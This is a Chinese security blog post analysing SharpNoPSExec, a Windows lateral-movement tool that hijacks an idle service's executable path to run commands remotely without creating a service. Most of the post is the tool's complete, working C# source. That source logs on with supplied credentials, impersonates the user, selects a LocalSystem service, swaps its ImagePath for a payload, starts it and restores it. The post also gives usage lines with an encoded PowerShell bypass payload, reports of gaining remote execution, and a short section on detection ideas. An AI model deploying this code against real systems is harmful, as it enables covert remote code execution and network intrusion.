新型横向移动工具原理分析、代码分析、优缺点以及检测方案 - 挖洞的土拨鼠
2021-04-27 19:38:00 Author: www.cnblogs.com(查看原文) 阅读量:272 收藏

新横向移动工具:

Twitter上看到新的横移工具,无需创建服务、无需文件落地,远比PsExec来的难以检测,我们针对这一工具进行原理分析、代码分析、优缺点评估以及检测方案:

  • 工具名称:SharpNoPSExec
  • 工具作者:juliourena
  • 下载地址:SharpNoPSExec

基本原理分析:

Windows服务中,每一服务都有一个可执行文件路径,这个地方可以替换成命令进行命令执行,而且这个可以远程管理,当然这里肯定需要管理员权限,不然就成了RCE漏洞了。

我们可以远程写代码去寻找到一个处于不启动、需要手动启动,没有其他依赖关系的服务,改变这个可执行文件路径,从而执行我们的命令。

代码分析:

先介绍一下几个关键函数

OpenSCManagerW:

SC_HANDLE OpenSCManagerW(
 LPCWSTR lpMachineName,
 LPCWSTR lpDatabaseName,
 DWORD dwDesiredAccess
);

小贴士:如果第一个参数填写的是对端也就是横移目标的IP地址或机器名,需要首先在运行程序以前建立一个管理员权限,不仅仅需要知道账号密码,如何建立呢,答案也简单,建立一个共享映射

net use \\xx.xx.xx.xx\c$ "password" /user:username

然后调用两个函数LogonUserA进行凭据认证,然后进行权限模拟,还是调用我们的老朋友:ImpersonateLoggedOnUser。该函数允许用户模拟其他用户的权限进行一些操作。

ChangeServiceConfig:

函数原型:

BOOL ChangeServiceConfigA(
  SC_HANDLE hService,
  DWORD     dwServiceType,
  DWORD     dwStartType,
  DWORD     dwErrorControl,
  LPCSTR    lpBinaryPathName,
  LPCSTR    lpLoadOrderGroup,
  LPDWORD   lpdwTagId,
  LPCSTR    lpDependencies,
  LPCSTR    lpServiceStartName,
  LPCSTR    lpPassword,
  LPCSTR    lpDisplayName
);

当然需要先导入函数:

[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);

修改举例:

string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);

然后开启服务

函数原型:

BOOL StartServiceA(
 SC_HANDLE hService,
 DWORD dwNumServiceArgs,
 LPCSTR *lpServiceArgVectors
);

流程分析:

登录用户 —–> 打开远程服务 —–> 设置服务执行程序为我们的 payload —–> 开启服务

程序源代码:

然后给出源代码

using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Threading;

namespace SharpNoPSExec
{
    class ProgramOptions
    {
	    /*参数类,主要就是用来获取命令行参数*/
        public string target;
        public string username;
        public string password;
        public string payload;
        public string service;
        public string domain;

        public ProgramOptions(string uTarget = "", string uPayload = "", string uUsername = "", string uPassword = "", string uService = "", string uDomain = ".")
        {
            target = uTarget;
            username = uUsername;
            password = uPassword;
            payload = uPayload;
            service = uService;
            domain = uDomain;
        }
    }

    class Program
    {
        [StructLayout(LayoutKind.Sequential)]
        private struct QUERY_SERVICE_CONFIG
        {
            public uint serviceType;
            public uint startType;
            public uint errorControl;
            public IntPtr binaryPathName;
            public IntPtr loadOrderGroup;
            public int tagID;
            public IntPtr dependencies;
            public IntPtr startName;
            public IntPtr displayName;
        }

        public struct ServiceInfo
        {
            public uint serviceType;
            public uint startType;
            public uint errorControl;
            public string binaryPathName;
            public string loadOrderGroup;
            public int tagID;
            public string dependencies;
            public string startName;
            public string displayName;
            public IntPtr serviceHandle;
        }


        [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern Boolean ChangeServiceConfig(/*导入关键函数,下面的导入函数不在一一分析*/
            IntPtr hService,
            UInt32 nServiceType,
            UInt32 nStartType,
            UInt32 nErrorControl,
            String lpBinaryPathName,
            String lpLoadOrderGroup,
            IntPtr lpdwTagId,
            String lpDependencies,
            String lpServiceStartName,
            String lpPassword,
            String lpDisplayName);

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(
            IntPtr hSCManager,
            string lpServiceName,
            uint dwDesiredAccess);

        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(
            string machineName,
            string databaseName,
            uint dwAccess);

        [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern Boolean QueryServiceConfig(
            IntPtr hService,
            IntPtr intPtrQueryConfig,
            UInt32 cbBufSize,
            out UInt32 pcbBytesNeeded);

        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(
            IntPtr hService,
            int dwNumServiceArgs,
            string[] lpServiceArgVectors);

        [DllImport("advapi32.dll")]
        public static extern bool LogonUserA(
            string lpszUsername,
            string lpszDomain,
            string lpszPassword,
            int dwLogonType,
            int dwLogonProvider,
            ref IntPtr phToken
        );

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

        private const uint SERVICE_NO_CHANGE = 0xFFFFFFFF;
        private const uint SERVICE_DEMAND_START = 0x00000003;
        private const uint SERVICE_DISABLED = 0x00000004;
        private const uint SC_MANAGER_ALL_ACCESS = 0xF003F;

        enum LOGON_TYPE
        {
            LOGON32_LOGON_INTERACTIVE = 2,
            LOGON32_LOGON_NETWORK = 3,
            LOGON32_LOGON_BATCH = 4,
            LOGON32_LOGON_SERVICE = 5,
            LOGON32_LOGON_UNLOCK = 7,
            LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
            LOGON32_LOGON_NEW_CREDENTIALS = 9
        }

        public enum LOGON_PROVIDER
        {
            /// <summary>
            /// Use the standard logon provider for the system.
            /// The default security provider is negotiate, unless you pass NULL for the domain name and the user name
            /// is not in UPN format. In this case, the default provider is NTLM.
            /// NOTE: Windows 2000/NT:   The default security provider is NTLM.
            /// </summary>
            LOGON32_PROVIDER_DEFAULT = 0,
            LOGON32_PROVIDER_WINNT35 = 1,
            LOGON32_PROVIDER_WINNT40 = 2,
            LOGON32_PROVIDER_WINNT50 = 3
        }

        public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle)
        {
	        /*定义一个服务信息查询函数,用来查询服务的基本状态,方便进行筛选和事后恢复*/
            Console.WriteLine($"    |-> Querying service {ServiceName}");
            ServiceInfo serviceInfo = new ServiceInfo();

            try
            {
                IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF);

                uint bytesNeeded = 0;
                QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();

                IntPtr qscPtr = IntPtr.Zero;

                bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded);

                if (!retCode && bytesNeeded == 0)
                {
                    throw new Win32Exception();
                }
                else
                {
                    qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded);
                    retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded);
                    if (!retCode)
                    {
                        throw new Win32Exception();
                    }
                    qsc.binaryPathName = IntPtr.Zero;
                    qsc.dependencies = IntPtr.Zero;
                    qsc.displayName = IntPtr.Zero;
                    qsc.loadOrderGroup = IntPtr.Zero;
                    qsc.startName = IntPtr.Zero;

                    qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG));
                }

                serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName);
                serviceInfo.dependencies = Marshal.PtrToStringAuto(qsc.dependencies);
                serviceInfo.displayName = Marshal.PtrToStringAuto(qsc.displayName);
                serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup);
                serviceInfo.startName = Marshal.PtrToStringAuto(qsc.startName);

                serviceInfo.errorControl = qsc.errorControl;
                serviceInfo.serviceType = qsc.serviceType;
                serviceInfo.startType = qsc.startType;
                serviceInfo.tagID = qsc.tagID;
                serviceInfo.serviceHandle = serviceHandle; // Return service handler

                Marshal.FreeHGlobal(qscPtr);
            }
            catch (Exception)
            {
                string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                Console.WriteLine("\n[!] GetServiceInfo failed. Error: {0}", errorMessage);
                Environment.Exit(0);
            }

            return serviceInfo;
        }

        public static void PrintBanner()
        {
            Console.WriteLine(@"
███████╗██╗  ██╗ █████╗ ██████╗ ██████╗ ███╗   ██╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗███████╗ ██████╗
██╔════╝██║  ██║██╔══██╗██╔══██╗██╔══██╗████╗  ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝╚██╗██╔╝██╔════╝██╔════╝
███████╗███████║███████║██████╔╝██████╔╝██╔██╗ ██║██║   ██║██████╔╝███████╗█████╗   ╚███╔╝ █████╗  ██║     
╚════██║██╔══██║██╔══██║██╔══██╗██╔═══╝ ██║╚██╗██║██║   ██║██╔═══╝ ╚════██║██╔══╝   ██╔██╗ ██╔══╝  ██║     
███████║██║  ██║██║  ██║██║  ██║██║     ██║ ╚████║╚██████╔╝██║     ███████║███████╗██╔╝ ██╗███████╗╚██████╗
╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝
Version: 0.0.2
Author: Julio Ureña (PlainText)
Twitter: @juliourena
");
        }

        public static void PrintHelp()
        {
            Console.WriteLine(@"Usage: 
SharpNoPSExec.exe --target=192.168.56.128 --payload=""c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ZQBjAGgAbwAgAEcAbwBkACAAQgBsAGUAcwBzACAAWQBvAHUAIQA=""
Required Arguments:
--target=       - IP or machine name to attack.
--payload=      - Payload to execute in the target machine.
Optional Arguments:
--username=     - Username to authenticate to the remote computer.
--password=     - Username's password.
--domain=       - Domain Name, if no set a dot (.) will be used instead.
--service=      - Service to modify to execute the payload, after the payload is completed the service will be restored.
Note: If not service is specified the program will look for a random service to execute.
Note: If the selected service has a non-system account this will be ignored.
--help          - Print help information.
");
        }

        static void Main(string[] args)
        {
	        /*主函数开始*/
            // example from https://github.com/s0lst1c3/SharpFinder
            ProgramOptions options = new ProgramOptions();

            foreach (string arg in args)//遍历参数
            {
                if (arg.StartsWith("--target="))
                {
                    string[] components = arg.Split(new string[] { "--target=" }, StringSplitOptions.None);
                    options.target = components[1];
                }
                else if (arg.StartsWith("--payload="))
                {
                    string[] components = arg.Split(new string[] { "--payload=" },StringSplitOptions.None);

                    options.payload = components[1];

                }
                else if (arg.StartsWith("--username="))
                {
                    string[] components = arg.Split(new string[] { "--username=" }, StringSplitOptions.None);
                    options.username = components[1];
                }
                else if (arg.StartsWith("--password="))
                {
                    string[] components = arg.Split(new string[] { "--password=" }, StringSplitOptions.None);
                    options.password = components[1];
                }
                else if (arg.StartsWith("--domain="))
                {
                    string[] components = arg.Split(new string[] { "--domain=" }, StringSplitOptions.None);
                    options.domain = components[1];
                }
                else if (arg.StartsWith("--service="))
                {
                    string[] components = arg.Split(new string[] { "--service=" }, StringSplitOptions.None);
                    options.service = components[1];
                }
                else if (arg.StartsWith("--help"))
                {
                    PrintBanner();
                    PrintHelp();
                    Environment.Exit(0);
                }
                else
                {
                    Console.WriteLine("[!] Invalid flag: " + arg);
                    return;
                }
            }

            string username = null;
            string password = null;
            string domain = null;

            bool result = false;

            if (!String.IsNullOrEmpty(options.username) && !String.IsNullOrEmpty(options.password))
            {
                IntPtr phToken = IntPtr.Zero;
                username = options.username;
                password = options.password;
                domain = options.domain;

                result = LogonUserA(username, domain, password, (int)LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS, (int)LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, ref phToken);//凭据认证

                if (!result)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] LogonUser failed. Error: {0}", errorMessage);
                    Environment.Exit(0);
                }

                result = ImpersonateLoggedOnUser(phToken);//模拟权限
                if (!result)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] ImpersonateLoggedOnUser failed. Error:{0}", errorMessage);
                    Environment.Exit(0);
                }
            }

            if (options.target == "" || options.payload == "")
            {
                PrintBanner();
                PrintHelp();
                Environment.Exit(0);
            }

            string target = options.target;

            try
            {
                Console.WriteLine($"\n[>] Open SC Manager from {target}.");
                IntPtr SCMHandle = OpenSCManager(options.target, null, SC_MANAGER_ALL_ACCESS);//打开服务管理游标

                if (SCMHandle == IntPtr.Zero)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] OpenSCManager failed. Error: {0}", errorMessage);
                    Environment.Exit(0);
                }

                // Open Connection to the remote machine and get all services 
                Console.WriteLine($"\n[>] Getting services information from {target}.");
                ServiceController[] services = ServiceController.GetServices(target);

                ServiceInfo serviceInfo = new ServiceInfo();

                if (options.service == "")
                {
                    Console.WriteLine($"\n[>] Looking for a random service to execute our payload.");

                    Random r = new Random();
                    for (int i = 0; i < services.Length; i++)//随机获取服务进行判断
                    {
                        int value = r.Next(0, services.Length);

                        // Check some values to select a service to use to trigger our paylaod 
                        if (services[value].StartType == ServiceStartMode.Disabled && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0)//ServiceStartMode.Disabled禁用的服务 ServiceControllerStatus.Stopped目前状态是停止的服务
                        {
                            serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle);

                            if (serviceInfo.startName.ToLower() == "localsystem")
                            {
                                Console.WriteLine($"    |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}.");
                                break;
                            }
                        }
                    }
                    
                    serviceInfo = new ServiceInfo();

                    // If not service was found search for services with start mode manual, stopped without dependencies. 
                    if (serviceInfo.displayName == null)
                    {
                        for (int i = 0; i < services.Length; i++)
                        {
                            int value = r.Next(0, services.Length);
                            // Check some values to select a service to use to trigger our paylaod (Manual Services) 
                            if (services[value].StartType == ServiceStartMode.Manual && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0)//ServiceStartMode.Manual手动启动的服务
                            {
                                serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle);

                                if (serviceInfo.startName.ToLower() == "localsystem")
                                {
                                    Console.WriteLine($"    |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}.");
                                    break;
                                }
                            }
                        }
                    }
                    if (serviceInfo.displayName == "")
                    {
                        Console.WriteLine($"[!] No service found that met the default conditions, please select the service to run.");
                        Environment.Exit(0);
                    }
                }
                else
                {
                    Console.WriteLine($"\n[>] Checking if service {options.service} exists.");

                    bool found = false;
                    // Check if --server=value exits. 
                    foreach (var service in services)
                    {
                        if (service.ServiceName == options.service)
                            found = true;
                    }

                    if (found)
                    { 
                        serviceInfo = GetServiceInfo(options.service, SCMHandle);//查询服务信息
                        if (serviceInfo.startName.ToLower() == "localsystem")
                        {
                            Console.WriteLine($"    |-> Service {options.service} authenticated as {serviceInfo.startName}.");
                        }
                        else
                        {
                            Console.WriteLine($"\n[!] The service {options.service} is authenticated {serviceInfo.displayName} aborting to not lose the account.");
                            Environment.Exit(0);
                        }
                    }
                    else
                    {
                        Console.WriteLine($"    |-> Service not found {options.service}.");
                        Environment.Exit(0);
                    }
                }


                string previousImagePath = serviceInfo.binaryPathName;

                Console.WriteLine($"\n[>] Setting up payload.");

                string payload = options.payload;

                Console.WriteLine($"    |-> payload = {payload}");

                Console.WriteLine($"    |-> ImagePath previous value = {previousImagePath}.");

                // Modify the service with the payload
                Console.WriteLine($"    |-> Modifying ImagePath value with payload.");

                result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, payload, null, IntPtr.Zero, null, null, null, null);//修改可执行文件路径

                if (!result)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage);
                    Environment.Exit(0);
                }

                Console.WriteLine($"\n[>] Starting service {serviceInfo.displayName} with new ImagePath.");

                result = StartService(serviceInfo.serviceHandle, 0, null);//启动服务

                //if(!result)
                    //Console.WriteLine($"    |-> Possible command execution completed.");


                // Wait 5 seconds before restoring the values
                Console.WriteLine($"\n[>] Waiting 5 seconds to finish.");
                Thread.Sleep(5000);

                Console.WriteLine($"\n[>] Restoring service configuration.");

                result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, serviceInfo.startType, 0, previousImagePath, null, IntPtr.Zero, null, serviceInfo.startName, null, null);//复原原来的可执行文件路径避免引起问题
                if (!result)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage);
                    Environment.Exit(0);
                }
                else
                {
                    Console.WriteLine($"    |-> {serviceInfo.displayName} Log On => {serviceInfo.startName}.");
                    Console.WriteLine($"    |-> {serviceInfo.displayName} status => {serviceInfo.startType}.");
                    Console.WriteLine($"    |-> {serviceInfo.displayName} ImagePath => {previousImagePath}");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("\n[!] General Error: {0}\n", ex.Message);
            }
        }
    }
}

测试:

.\SharpNoPSExec.exe --target=xx.xx.xx.xx --payload="c:\windows\system32\cmd.exe /c powershell -nop ..."
  • 案例一 上线

  • 案例二 远程执行命令

优缺点评测:

  • 优点:
    • 无文件落地
    • 无服务创建
  • 缺点:
    • 敏感操作,主防拦截(天擎有提示,但是不太靠谱)
    • 横向移动需要建立共享(检测异常共享可以检测到)
    • 速度很慢,至少我们测试的速度很慢

检测方案建议:

  • 将远程服务查询和修改列为敏感操作,在主防中进行配置,或者在自研后者采购HIDS时候提出该功能需求。
  • HIDS HOOK 敏感函数进行检测ChangeServiceConfigA
  • 检测异常共享或者IPC通信
  • 检测进程启动异常(尤其是 事件ID 7009 程序异常ERROR 1053)

参考文献:

SharpNoPSExec 工具介绍 作者:地球胖头鱼


文章来源: http://www.cnblogs.com/KevinGeorge/p/14710360.html
如有侵权请联系:admin#unsafe.sh